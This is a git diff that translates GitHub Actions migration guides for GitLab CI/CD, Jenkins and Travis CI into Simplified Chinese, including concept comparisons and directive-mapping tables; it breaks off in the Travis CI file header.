-GitLab CI/CD and {% data variables.product.prodname_actions %} both allow you to create workflows that automatically build, test, publish, release, and deploy code. GitLab CI/CD and {% data variables.product.prodname_actions %} share some similarities in workflow configuration:
+GitLab CI/CD 和 {% data variables.product.prodname_actions %} 都允许您创建能自动构建、测试、发布、发行和部署代码的工作流程。 GitLab CI/CD 和 {% data variables.product.prodname_actions %} 的工作流程配置有一些相似之处：
 
-- Workflow configuration files are written in YAML and are stored in the code's repository.
-- Workflows include one or more jobs.
-- Jobs include one or more steps or individual commands.
-- Jobs can run on either managed or self-hosted machines.
+- 工作流程配置文件以 YAML 编写并存储在代码仓库中。
+- 工作流程包括一项或多项作业。
+- 作业包括一个或多个步骤或单个命令。
+- 作业可以在托管或自托管计算机上运行。
 
-There are a few differences, and this guide will show you the important differences so that you can migrate your workflow to {% data variables.product.prodname_actions %}.
+存在一些区别，本指南将说明重要区别，以便您将工作流程迁移到 {% data variables.product.prodname_actions %}。
 
 ## Jobs
 
-Jobs in GitLab CI/CD are very similar to jobs in {% data variables.product.prodname_actions %}. In both systems, jobs have the following characteristics:
+GitLab CI/CD 中的作业非常类似于 {% data variables.product.prodname_actions %} 中的作业。 在这两个系统中，作业具有以下特征：
 
-* Jobs contain a series of steps or scripts that run sequentially.
-* Jobs can run on separate machines or in separate containers.
-* Jobs run in parallel by default, but can be configured to run sequentially.
+* 作业包含一系列按顺序运行的步骤或脚本。
+* 作业可在单独的计算机或单独的容器中运行。
+* 默认情况下作业并行运行，但可以配置为按顺序运行。
 
-You can run a script or a shell command in a job. In GitLab CI/CD, script steps are specified using the `script` key. In {% data variables.product.prodname_actions %}, all scripts are specified using the `run` key.
+可在作业中运行脚本或 shell 命令。 在 GitLab CI/CD 中，使用 `script` 键指定脚本步骤。 在 {% data variables.product.prodname_actions %} 中，所有脚本都使用 `run` 键来指定。
 
-Below is an example of the syntax for each system:
+下面是每个系统的语法示例：
 
 <table class="d-block">
 <tr>
@@ -78,11 +78,11 @@ jobs:
 </tr>
 </table>
 
-## Runners
+## 运行器
 
-Runners are machines on which the jobs run. Both GitLab CI/CD and {% data variables.product.prodname_actions %} offer managed and self-hosted variants of runners. In GitLab CI/CD, `tags` are used to run jobs on different platforms, while in {% data variables.product.prodname_actions %} it is done with the `runs-on` key.
+运行器是运行作业的机器。 GitLab CI/CD 和 {% data variables.product.prodname_actions %} 提供托管和自托管的运行器变体。 在 GitLab CI/CD 中，`tags` 用于在不同的平台上运行作业，而在 {% data variables.product.prodname_actions %} 中，它使用 `runs-on` 键运行。
 
-Below is an example of the syntax for each system:
+下面是每个系统的语法示例：
 
 <table>
 <tr>
@@ -129,13 +129,13 @@ linux_job:
 </tr>
 </table>
 
-For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idruns-on)."
+更多信息请参阅“[{% data variables.product.prodname_actions %} 的工作流程语法](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idruns-on)”。
 
-## Docker images
+## Docker 映像
 
-Both GitLab CI/CD and {% data variables.product.prodname_actions %} support running jobs in a Docker image. In GitLab CI/CD, Docker images are defined with an `image` key, while in {% data variables.product.prodname_actions %} it is done with the `container` key.
+GitLab CI/CD 和 {% data variables.product.prodname_actions %} 都支持在 Docker 映像中运行作业。 在 GitLab CI/CD 中，Docker 映像使用 `image` 键定义，而在 {% data variables.product.prodname_actions %} 中，它使用 `container` 键定义。
 
-Below is an example of the syntax for each system:
+下面是每个系统的语法示例：
 
 <table class="d-block">
 <tr>
@@ -167,13 +167,13 @@ jobs:
 </tr>
 </table>
 
-For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idcontainer)."
+更多信息请参阅“[{% data variables.product.prodname_actions %} 的工作流程语法](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idcontainer)”。
 
-## Condition and expression syntax
+## 条件和表达式语法
 
-GitLab CI/CD uses `rules` to determine if a job will run for a specific condition. {% data variables.product.prodname_actions %} uses the `if` keyword to prevent a job from running unless a condition is met.
+GitLab CI/CD 使用 `rules` 确定作业是否在特定条件下运行。 {% data variables.product.prodname_actions %} 使用 `if` 关键字使作业仅在满足条件时才运行。
 
-Below is an example of the syntax for each system:
+下面是每个系统的语法示例：
 
 <table class="d-block">
 <tr>
@@ -214,11 +214,11 @@ jobs:
 
 For more information, see "[Expressions](/actions/learn-github-actions/expressions)."
 
-## Dependencies between Jobs
+## 作业之间的依赖关系
 
-Both GitLab CI/CD and {% data variables.product.prodname_actions %} allow you to set dependencies for a job. In both systems, jobs run in parallel by default, but job dependencies in {% data variables.product.prodname_actions %} can be specified explicitly with the `needs` key. GitLab CI/CD also has a concept of `stages`, where jobs in a stage run concurrently, but the next stage will start when all the jobs in the previous stage have completed. You can recreate this scenario in {% data variables.product.prodname_actions %} with the `needs` key.
+GitLab CI/CD 和 {% data variables.product.prodname_actions %} 允许您为作业设置依赖项。 在这两个系统中，默认情况下作业并行运行，但 {% data variables.product.prodname_actions %} 中的作业依赖项可以用 `needs` 键明确指定。 GitLab CI/CD 还具有 `stages` 的概念，其中作业分阶段同时运行，但下一阶段将在前一阶段的所有作业完成时开始。 您可以使用 `needs` 键在 {% data variables.product.prodname_actions %} 中重新创建此情景。
 
-Below is an example of the syntax for each system. The workflows start with two jobs named `build_a` and `build_b` running in parallel, and when those jobs complete, another job called `test_ab` will run. Finally, when `test_ab` completes, the `deploy_ab` job will run.
+下面是每个系统的语法示例： 工作流程首先同时运行两个名为 `build_a` 和 `build_b` 的作业， 当这些作业完成后，另一个名为 `test_ab` 的作业将运行。 最后，`test_ab` 完成后，`depl_ab` 作业运行。
 
 <table class="d-block">
 <tr>
@@ -291,25 +291,25 @@ jobs:
 </tr>
 </table>
 
-For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idneeds)."
+更多信息请参阅“[{% data variables.product.prodname_actions %} 的工作流程语法](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idneeds)”。
 
-## Scheduling workflows
+## 预定工作流程
 
-Both GitLab CI/CD and {% data variables.product.prodname_actions %} allow you to run workflows at a specific interval. In GitLab CI/CD, pipeline schedules are configured with the UI, while in {% data variables.product.prodname_actions %} you can trigger a workflow on a scheduled interval with the "on" key.
+GitLab CI/CD 和 {% data variables.product.prodname_actions %} 允许您以特定的间隔运行工作流程。 在 GitLab CI/CD 中，管道计划使用 UI 配置，而在 {% data variables.product.prodname_actions %} 中，您可以使用 "on" 键在预定的间隔时间触发工作流程。
 
-For more information, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows#scheduled-events)."
+更多信息请参阅“[触发工作流程的事件](/actions/reference/events-that-trigger-workflows#scheduled-events)”。
 
-## Variables and secrets
+## 变量和机密
 
-GitLab CI/CD and {% data variables.product.prodname_actions %} support setting environment variables in the pipeline or workflow configuration file, and creating secrets using the GitLab or {% data variables.product.product_name %} UI.
+GitLab CI/CD 和 {% data variables.product.prodname_actions %} 支持在管道或工作流程配置文件中设置环境变量，并使用 GitLab 或 {% data variables.product.product_name %} UI 创建密码。
 
-For more information, see "[Environment variables](/actions/reference/environment-variables)" and "[Encrypted secrets](/actions/reference/encrypted-secrets)."
+更多信息请参阅“[环境变量](/actions/reference/environment-variables)”和“[使用加密密码](/actions/reference/encrypted-secrets)”。
 
-## Caching
+## 缓存
 
-GitLab CI/CD and {% data variables.product.prodname_actions %} provide a method in the configuration file to manually cache workflow files.
+GitLab CI/CD 和 {% data variables.product.prodname_actions %} 在配置文件中提供了手动缓存工作流程文件的方法。
 
-Below is an example of the syntax for each system:
+下面是每个系统的语法示例：
 
 <table class="d-block">
 <tr>
@@ -359,13 +359,13 @@ jobs:
 </tr>
 </table>
 
-{% data variables.product.prodname_actions %} caching is only applicable for repositories hosted on {% data variables.product.prodname_dotcom_the_website %}. For more information, see "<a href="/actions/guides/caching-dependencies-to-speed-up-workflows" class="dotcom-only">Caching dependencies to speed up workflows</a>."
+{% data variables.product.prodname_actions %} 缓存仅适用于 {% data variables.product.prodname_dotcom_the_website %} 托管的仓库。 更多信息请参阅“<a href="/actions/guides/caching-dependencies-to-speed-up-workflows" class="dotcom-only">缓存依赖项以加快工作流程</a>”。
 
-## Artifacts
+## 构件
 
-Both GitLab CI/CD and {% data variables.product.prodname_actions %} can upload files and directories created by a job as artifacts. In {% data variables.product.prodname_actions %}, artifacts can be used to persist data across multiple jobs.
+GitLab CI/CD 和 {% data variables.product.prodname_actions %} 都可以上传作业创建的文件和目录作为构件。 在 {% data variables.product.prodname_actions %} 中，构件可用于在多个作业中保留数据。
 
-Below is an example of the syntax for each system:
+下面是每个系统的语法示例：
 
 <table>
 <tr>
@@ -401,15 +401,15 @@ artifacts:
 </tr>
 </table>
 
-For more information, see "[Storing workflow data as artifacts](/actions/guides/storing-workflow-data-as-artifacts)."
+更多信息请参阅“[将工作流程存储为构件](/actions/guides/storing-workflow-data-as-artifacts)”。
 
-## Databases and service containers
+## 数据库和服务容器
 
-Both systems enable you to include additional containers for databases, caching, or other dependencies.
+这两个系统都允许您包括用于数据库、缓存或其他依赖项的其他容器。
 
-In GitLab CI/CD, a container for the job is specified with the `image` key, while {% data variables.product.prodname_actions %} uses the `container` key. In both systems, additional service containers are specified with the `services` key.
+在 GitLab CI/CD 中，作业的容器使用 `image` 键指定，而 {% data variables.product.prodname_actions %} 使用 `container` 键指定。 在这两个系统中，使用 `services` 键指定附加服务容器。
 
-Below is an example of the syntax for each system:
+下面是每个系统的语法示例：
 
 <table class="d-block">
 <tr>
@@ -486,4 +486,4 @@ jobs:
 </tr>
 </table>
 
-For more information, see "[About service containers](/actions/guides/about-service-containers)."
+更多信息请参阅“[关于服务容器](/actions/guides/about-service-containers)”。
diff --git a/translations/zh-CN/content/actions/migrating-to-github-actions/migrating-from-jenkins-to-github-actions.md b/translations/zh-CN/content/actions/migrating-to-github-actions/migrating-from-jenkins-to-github-actions.md
index dba3e38286..86df819a3b 100644
--- a/translations/zh-CN/content/actions/migrating-to-github-actions/migrating-from-jenkins-to-github-actions.md
+++ b/translations/zh-CN/content/actions/migrating-to-github-actions/migrating-from-jenkins-to-github-actions.md
@@ -1,6 +1,6 @@
 ---
-title: Migrating from Jenkins to GitHub Actions
-intro: '{% data variables.product.prodname_actions %} and Jenkins share multiple similarities, which makes migration to {% data variables.product.prodname_actions %} relatively straightforward.'
+title: 从 Jenkins 迁移到 GitHub Actions
+intro: '{% data variables.product.prodname_actions %} 和 Jenkins 有多种相似之处，这使得迁移到 {% data variables.product.prodname_actions %} 相对简单。'
 redirect_from:
   - /actions/learn-github-actions/migrating-from-jenkins-to-github-actions
 versions:
@@ -14,95 +14,96 @@ topics:
   - Migration
   - CI
   - CD
-shortTitle: Migrate from Jenkins
+shortTitle: 从 Jenkins 迁移
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## 简介
 
-Jenkins and {% data variables.product.prodname_actions %} both allow you to create workflows that automatically build, test, publish, release, and deploy code. Jenkins and {% data variables.product.prodname_actions %} share some similarities in workflow configuration:
+Jenkins 和 {% data variables.product.prodname_actions %} 都允许您创建能自动构建、测试、发布、发行和部署代码的工作流程。 Jenkins 和 {% data variables.product.prodname_actions %} 的工作流程配置有一些相似之处：
 
-- Jenkins creates workflows using _Declarative Pipelines_, which are similar to {% data variables.product.prodname_actions %} workflow files.
-- Jenkins uses _stages_ to run a collection of steps, while {% data variables.product.prodname_actions %} uses jobs to group one or more steps or individual commands.
-- Jenkins and {% data variables.product.prodname_actions %} support container-based builds. For more information, see "[Creating a Docker container action](/articles/creating-a-docker-container-action)."
-- Steps or tasks can be reused and shared with the community.
+- Jenkins 使用 _Declarative Pelines_ 创建工作流程，这些工作流程类似于 {% data variables.product.prodname_actions %} 工作流程文件。
+- Jenkins 使用_阶段_运行步骤集合，而 {% data variables.product.prodname_actions %} 则使用作业来分组一个或多个步骤或单个命令。
+- Jenkins 和 {% data variables.product.prodname_actions %} 支持基于容器的构建。 更多信息请参阅“[创建 Docker 容器操作](/articles/creating-a-docker-container-action)”。
+- 步骤或任务可以重复使用并与社区共享。
 
-For more information, see "[Core concepts for {% data variables.product.prodname_actions %}](/actions/getting-started-with-github-actions/core-concepts-for-github-actions)."
+更多信息请参阅“[{% data variables.product.prodname_actions %} 的核心概念](/actions/getting-started-with-github-actions/core-concepts-for-github-actions)”。
 
-## Key differences
+## 主要差异
 
-- Jenkins has two types of syntax for creating pipelines: Declarative Pipeline and Scripted Pipeline. {% data variables.product.prodname_actions %} uses YAML to create workflows and configuration files. For more information, see "[Workflow syntax for GitHub Actions](/actions/reference/workflow-syntax-for-github-actions)."
-- Jenkins deployments are typically self-hosted, with users maintaining the servers in their own data centers. {% data variables.product.prodname_actions %} offers a hybrid cloud approach by hosting its own runners that you can use to run jobs, while also supporting self-hosted runners. For more information, see [About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners).
+- Jenkins 有两种类型的语法用来创建管道：Declarative Pipeline 和 Scripted Pipeline。 {% data variables.product.prodname_actions %} 使用 YAML 创建工作流程和配置文件。 更多信息请参阅“[GitHub Actions 的工作流程语法](/actions/reference/workflow-syntax-for-github-actions)”。
+- Jenkins 部署通常是自托管的，用户在自己的数据中心维护服务器。 {% data variables.product.prodname_actions %} 通过托管自己可用于运行作业的运行器提供混合云方法，同时也支持自托管运行器。 更多信息请参阅“[关于自托管运行器](/actions/hosting-your-own-runners/about-self-hosted-runners)”。
 
-## Comparing capabilities
+## 比较功能
 
-### Distributing your builds
+### 分发版本
 
-Jenkins lets you send builds to a single build agent, or you can distribute them across multiple agents. You can also classify these agents according to various attributes, such as operating system types.
+Jenkins 可让您发送版本到单个构建代理，或者您可以在多个代理之间进行分发。 您也可以根据不同的属性（例如操作系统类型）对这些代理进行分类。
 
-Similarly, {% data variables.product.prodname_actions %} can send jobs to {% data variables.product.prodname_dotcom %}-hosted or self-hosted runners, and you can use labels to classify runners according to various attributes. For more information, see "[Understanding {% data variables.product.prodname_actions %}](/actions/learn-github-actions/understanding-github-actions#runners)" and "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)."
+同样， {% data variables.product.prodname_actions %} 可以向 {% data variables.product.prodname_dotcom %} 托管或自托管的运行器发送作业，您可以根据不同的属性使用标签对运行器分类。 更多信息请参阅“[了解 {% data variables.product.prodname_actions %}](/actions/learn-github-actions/understanding-github-actions#runners)”和“[关于自托管运行器](/actions/hosting-your-own-runners/about-self-hosted-runners)”。
 
-### Using sections to organize pipelines
+### 使用区段组织管道
 
-Jenkins splits its Declarative Pipelines into multiple sections. Similarly, {% data variables.product.prodname_actions %} organizes its workflows into separate sections. The table below compares Jenkins sections with the {% data variables.product.prodname_actions %} workflow.
+Jenkins 将其 Declarative Pipelines 分为多个区段。 同样，{% data variables.product.prodname_actions %} 也将其工作流程分成单独的部分。 下表比较了Jenkins 区段与 {% data variables.product.prodname_actions %} 工作流程。
 
-| Jenkins Directives | {% data variables.product.prodname_actions %} |
-| ------------- | ------------- |
+| Jenkins 指令                                                      | {% data variables.product.prodname_actions %}
+| --------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
 | [`agent`](https://jenkins.io/doc/book/pipeline/syntax/#agent)   | [`jobs.<job_id>.runs-on`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idruns-on) <br> [`jobs.<job_id>.container`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idcontainer) |
-| [`post`](https://jenkins.io/doc/book/pipeline/syntax/#post)     |  |
-| [`stages`](https://jenkins.io/doc/book/pipeline/syntax/#stages) | [`jobs`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobs) |
-| [`steps`](https://jenkins.io/doc/book/pipeline/syntax/#steps)   | [`jobs.<job_id>.steps`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idsteps) |
+| [`post`](https://jenkins.io/doc/book/pipeline/syntax/#post)     |                                                                                                                                                                                                                                                                                                        |
+| [`stages`](https://jenkins.io/doc/book/pipeline/syntax/#stages) | [`jobs`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobs)                                                                                                                                                                                                |
+| [`steps`](https://jenkins.io/doc/book/pipeline/syntax/#steps)   | [`jobs.<job_id>.steps`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idsteps)                                                                                                                                                                |
 
-## Using directives
+## 使用指令
 
-Jenkins uses directives to manage _Declarative Pipelines_. These directives define the characteristics of your workflow and how it will execute. The table below demonstrates how these directives map to concepts within {% data variables.product.prodname_actions %}.
+Jenkins 使用指令来管理 _Declarative Pipelines_。 这些指令定义工作流程的特性及其执行方式。 下表演示这些指令如何映射到 {% data variables.product.prodname_actions %} 中的概念。
 
-| Jenkins Directives | {% data variables.product.prodname_actions %} |
-| ------------- | ------------- |
-| [`environment`](https://jenkins.io/doc/book/pipeline/syntax/#environment)                  | [`jobs.<job_id>.env`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#env) <br> [`jobs.<job_id>.steps[*].env`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstepsenv) |
-| [`options`](https://jenkins.io/doc/book/pipeline/syntax/#parameters)                       | [`jobs.<job_id>.strategy`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategy) <br> [`jobs.<job_id>.strategy.fail-fast`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategyfail-fast) <br> [`jobs.<job_id>.timeout-minutes`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idtimeout-minutes) |
-| [`parameters`](https://jenkins.io/doc/book/pipeline/syntax/#parameters)                    | [`inputs`](/actions/creating-actions/metadata-syntax-for-github-actions#inputs) <br> [`outputs`](/actions/creating-actions/metadata-syntax-for-github-actions#outputs) |
-| [`triggers`](https://jenkins.io/doc/book/pipeline/syntax/#triggers)                        | [`on`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#on) <br> [`on.<event_name>.types`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#onevent_nametypes) <br> [<code>on.<push\|pull_request>.<branches\|tags></code>](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#onpushpull_requestbranchestags) <br> [<code>on.<push\|pull_request>.paths</code>](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#onpushpull_requestpaths) |
-| [`triggers { upstreamprojects() }`](https://jenkins.io/doc/book/pipeline/syntax/#triggers) | [`jobs.<job_id>.needs`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idneeds) |
-| [Jenkins cron syntax](https://jenkins.io/doc/book/pipeline/syntax/#cron-syntax)            | [`on.schedule`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#onschedule) |
-| [`stage`](https://jenkins.io/doc/book/pipeline/syntax/#stage)                              | [`jobs.<job_id>`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_id) <br> [`jobs.<job_id>.name`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idname) |
-| [`tools`](https://jenkins.io/doc/book/pipeline/syntax/#tools)                              | {% ifversion ghae %}The command-line tools available in `PATH` on your self-hosted runner systems. {% data reusables.actions.self-hosted-runners-software %}{% else %}[Specifications for {% data variables.product.prodname_dotcom %}-hosted runners](/actions/reference/specifications-for-github-hosted-runners/#supported-software) |{% endif %}
-| [`input`](https://jenkins.io/doc/book/pipeline/syntax/#input)                              | [`inputs`](/actions/automating-your-workflow-with-github-actions/metadata-syntax-for-github-actions#inputs) |
-| [`when`](https://jenkins.io/doc/book/pipeline/syntax/#when)                                | [`jobs.<job_id>.if`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idif) |
+| Jenkins 指令                                                                                                                                                                                                                                                                                                                              | {% data variables.product.prodname_actions %}
+| --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| [`environment`](https://jenkins.io/doc/book/pipeline/syntax/#environment)                                                                                                                                                                                                                                                               | [`jobs.<job_id>.env`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#env) <br> [`jobs.<job_id>.steps[*].env`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstepsenv)                                                                                                                                                                                                                                                                                              |
+| [`options`](https://jenkins.io/doc/book/pipeline/syntax/#parameters)                                                                                                                                                                                                                                                                    | [`jobs.<job_id>.strategy`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategy) <br> [`jobs.<job_id>.strategy.fail-fast`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategyfail-fast) <br> [`jobs.<job_id>.timeout-minutes`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idtimeout-minutes)                                                                                    |
+| [`parameters`](https://jenkins.io/doc/book/pipeline/syntax/#parameters)                                                                                                                                                                                                                                                                 | [`inputs`](/actions/creating-actions/metadata-syntax-for-github-actions#inputs) <br> [`outputs`](/actions/creating-actions/metadata-syntax-for-github-actions#outputs)                                                                                                                                                                                                                                                                                                                                                                                                        |
+| [`triggers`](https://jenkins.io/doc/book/pipeline/syntax/#triggers)                                                                                                                                                                                                                                                                     | [`on`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#on) <br> [`on.<event_name>.types`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#onevent_nametypes) <br> [<code>on.<push\|pull_request>.<branches\|tags></code>](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#onpushpull_requestbranchestags) <br> [<code>on.<push\|pull_request>.paths</code>](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#onpushpull_requestpaths) |
+| [`triggers { upstreamprojects() }`](https://jenkins.io/doc/book/pipeline/syntax/#triggers)                                                                                                                                                                                                                                              | [`jobs.<job_id>.needs`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idneeds)                                                                                                                                                                                                                                                                                                                                                                                                                                             |
+| [Jenkins cron syntax](https://jenkins.io/doc/book/pipeline/syntax/#cron-syntax)                                                                                                                                                                                                                                                         | [`on.schedule`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#onschedule)                                                                                                                                                                                                                                                                                                                                                                                                                                                                |
+| [`阶段，暂存`](https://jenkins.io/doc/book/pipeline/syntax/#stage)                                                                                                                                                                                                                                                                           | [`jobs.<job_id>`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_id) <br> [`jobs.<job_id>.name`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idname)                                                                                                                                                                                                                                                                                                       |
+| [`tools`](https://jenkins.io/doc/book/pipeline/syntax/#tools)                                                                                                                                                                                                                                                                           |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
+| {% ifversion ghae %}The command-line tools available in `PATH` on your self-hosted runner systems. {% data reusables.actions.self-hosted-runners-software %}{% else %}[Specifications for {% data variables.product.prodname_dotcom %}-hosted runners](/actions/reference/specifications-for-github-hosted-runners/#supported-software) | {% endif %}
+| [`input`](https://jenkins.io/doc/book/pipeline/syntax/#input)                                                                                                                                                                                                                                                                           | [`inputs`](/actions/automating-your-workflow-with-github-actions/metadata-syntax-for-github-actions#inputs)                                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| [`when`](https://jenkins.io/doc/book/pipeline/syntax/#when)                                                                                                                                                                                                                                                                             | [`jobs.<job_id>.if`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idif)                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
 
-## Using sequential stages
+## 使用连续阶段
 
-### Parallel job processing
+### 并行作业处理
 
-Jenkins can run the `stages` and `steps` in parallel, while {% data variables.product.prodname_actions %} currently only runs jobs in parallel.
+Jenkins 可以并行运行 `stages` 和 `steps`，而 {% data variables.product.prodname_actions %} 目前只能并行运行作业。
 
-| Jenkins Parallel | {% data variables.product.prodname_actions %} |
-| ------------- | ------------- |
+| Jenkins Parallel                                                    | {% data variables.product.prodname_actions %}
+| ------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
 | [`parallel`](https://jenkins.io/doc/book/pipeline/syntax/#parallel) | [`jobs.<job_id>.strategy.max-parallel`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategymax-parallel) |
 
-### Build matrix
+### 构建矩阵
 
-Both {% data variables.product.prodname_actions %} and Jenkins let you use a build matrix to define various system combinations.
+{% data variables.product.prodname_actions %} 和 Jenkins 都允许您使用构建矩阵来定义各种系统组合。
 
-| Jenkins       | {% data variables.product.prodname_actions %} |
-| ------------- | ------------- |
+| Jenkins                                                                  | {% data variables.product.prodname_actions %}
+| ------------------------------------------------------------------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
 | [`axis`](https://jenkins.io/doc/book/pipeline/syntax/#matrix-axes)       | [`strategy/matrix`](/actions/learn-github-actions/managing-complex-workflows/#using-a-build-matrix) <br> [`context`](/actions/reference/context-and-expression-syntax-for-github-actions) |
-| [`stages`](https://jenkins.io/doc/book/pipeline/syntax/#matrix-stages)   | [`steps-context`](/actions/reference/context-and-expression-syntax-for-github-actions#steps-context) |
-| [`excludes`](https://jenkins.io/doc/book/pipeline/syntax/#matrix-stages) |  |
+| [`stages`](https://jenkins.io/doc/book/pipeline/syntax/#matrix-stages)   | [`steps-context`](/actions/reference/context-and-expression-syntax-for-github-actions#steps-context)                                                                                            |
+| [`excludes`](https://jenkins.io/doc/book/pipeline/syntax/#matrix-stages) |                                                                                                                                                                                                 |
 
-### Using steps to execute tasks
+### 使用步骤执行任务
 
-Jenkins groups `steps` together in `stages`. Each of these steps can be a script, function, or command, among others. Similarly, {% data variables.product.prodname_actions %} uses `jobs` to execute specific groups of `steps`.
+Jenkins 将 `steps` 组织在 `stages`。 每个步骤都可以是脚本、函数或命令等。 同样， {% data variables.product.prodname_actions %} 使用 `job` 来执行特定的 `steps` 组。
 
-| Jenkins steps | {% data variables.product.prodname_actions %} |
-| ------------- | ------------- |
+| Jenkins 步骤                                                      | {% data variables.product.prodname_actions %}
+| --------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------- |
 | [`script`](https://jenkins.io/doc/book/pipeline/syntax/#script) | [`jobs.<job_id>.steps`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idsteps) |
 
-## Examples of common tasks
+## 常见任务示例
 
-### Scheduling a pipeline to run with `cron`
+### 计划与 `cron` 一起运行的管道
 
 <table>
 <tr>
@@ -110,7 +111,7 @@ Jenkins groups `steps` together in `stages`. Each of these steps can be a script
 Jenkins Pipeline
 </th>
 <th>
-{% data variables.product.prodname_actions %} Workflow
+{% data variables.product.prodname_actions %} 工作流程
 </th>
 </tr>
 <tr>
@@ -138,7 +139,7 @@ on:
 </tr>
 </table>
 
-### Configuring environment variables in a pipeline
+### 配置管道中的环境变量
 
 <table>
 <tr>
@@ -146,7 +147,7 @@ on:
 Jenkins Pipeline
 </th>
 <th>
-{% data variables.product.prodname_actions %} Workflow
+{% data variables.product.prodname_actions %} 工作流程
 </th>
 </tr>
 <tr>
@@ -175,7 +176,7 @@ jobs:
 </tr>
 </table>
 
-### Building from upstream projects
+### 从上游项目构建
 
 <table>
 <tr>
@@ -183,7 +184,7 @@ jobs:
 Jenkins Pipeline
 </th>
 <th>
-{% data variables.product.prodname_actions %} Workflow
+{% data variables.product.prodname_actions %} 工作流程
 </th>
 </tr>
 <tr>
@@ -216,7 +217,7 @@ jobs:
 </tr>
 </table>
 
-### Building with multiple operating systems
+### 使用多个操作系统构建
 
 <table>
 <tr>
@@ -224,7 +225,7 @@ jobs:
 Jenkins Pipeline
 </th>
 <th>
-{% data variables.product.prodname_actions %} Workflow
+{% data variables.product.prodname_actions %} 工作流程
 </th>
 </tr>
 <tr>
diff --git a/translations/zh-CN/content/actions/migrating-to-github-actions/migrating-from-travis-ci-to-github-actions.md b/translations/zh-CN/content/actions/migrating-to-github-actions/migrating-from-travis-ci-to-github-actions.md
index 2cf18968d5..ae3d2a2dff 100644
--- a/translations/zh-CN/content/actions/migrating-to-github-actions/migrating-from-travis-ci-to-github-actions.md
+++ b/translations/zh-CN/content/actions/migrating-to-github-actions/migrating-from-travis-ci-to-github-actions.md
@@ -1,6 +1,6 @@
 ---
-title: Migrating from Travis CI to GitHub Actions
-intro: '{% data variables.product.prodname_actions %} and Travis CI share multiple similarities, which helps make it relatively straightforward to migrate to {% data variables.product.prodname_actions %}.'
+title: 从 Travis CI 迁移到 GitHub Actions
+intro: '{% data variables.product.prodname_actions %} 和 Travis CI 有多个相似之处，这有助于很简便地迁移到 {% data variables.product.prodname_actions %}。'
 redirect_from:
   - /actions/learn-github-actions/migrating-from-travis-ci-to-github-actions
 versions:
@@ -14,57 +14,56 @@ topics:
   - Migration
   - CI
   - CD
-shortTitle: Migrate from Travis CI
